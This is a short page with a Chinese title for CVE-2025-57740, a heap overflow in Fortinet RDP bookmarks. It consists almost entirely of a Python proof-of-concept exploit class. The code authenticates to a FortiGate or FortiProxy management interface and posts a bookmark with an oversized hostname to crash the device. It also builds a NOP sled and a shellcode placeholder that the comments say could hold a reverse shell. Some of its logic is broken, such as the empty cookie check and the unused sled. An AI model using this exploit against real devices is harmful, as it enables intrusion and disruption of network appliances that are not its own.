CVE-2025-57740 Fortinet FortiOS/FortiPAM/FortiProxy RDP书签堆缓冲区溢出漏洞

# CVE-2025-57740 PoC - Fortinet RDP Bookmark Heap Buffer Overflow # Vulnerability: Heap-based Buffer Overflow in RDP bookmark connection # Affected: FortiOS, FortiPAM, FortiProxy import requests import socket import struct class FortinetRDPExploit: """ Proof of Concept for CVE-2025-57740 Heap-based Buffer Overflow in Fortinet RDP bookmark connection """ def __init__(self, target_ip, target_port=443, username=None, password=None): self.target_ip = target_ip self.target_port = target_port self.username = username self.password = password self.session = requests.Session() self.base_url = f"https://{target_ip}:{target_port}" def authenticate(self): """Authenticate to FortiGate/FortiProxy management interface""" login_url = f"{self.base_url}/logincheck" data = { "username": self.username, "secretkey": self.password } try: resp = self.session.post(login_url, data=data, verify=False, timeout=10) if "" in self.session.cookies.get_dict(): print("[+] Authentication successful") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def craft_rdp_bookmark_payload(self, overflow_size=4096): """Craft malicious RDP bookmark payload to trigger heap overflow""" # Normal RDP bookmark fields bookmark = { "name": "legit_bookmark", "hostname": "target.example.com", "username": "user", "port": "3389" } # Overflow payload - excessive length in hostname field # This triggers heap buffer overflow in RDP bookmark processing overflow_data = "A" * overflow_size bookmark["hostname"] = overflow_data # Additional crafted data for RCE primitive # NOP sled + shellcode placeholder nop_sled = b"\x90" * 256 # Placeholder for actual shellcode (e.g., reverse shell) shellcode_placeholder = b"\xcc" * 100 # INT3 breakpoints for debugging return bookmark def send_exploit(self): """Send the crafted RDP bookmark request""" if not self.authenticate(): return False # Endpoint for RDP bookmark configuration bookmark_url = f"{self.base_url}/api/v2/endpoint/rdp/bookmark" payload = self.craft_rdp_bookmark_payload() try: resp = self.session.post( bookmark_url, json=payload, verify=False, timeout=30 ) print(f"[*] Exploit response status: {resp.status_code}") return resp.status_code except Exception as e: print(f"[*] Exploit may have triggered crash: {e}") return True # Usage example: # exploit = FortinetRDPExploit("192.168.1.1", username="low_priv_user", password="password") # exploit.send_exploit() # Note: Actual exploitation requires valid credentials and specific payload tuning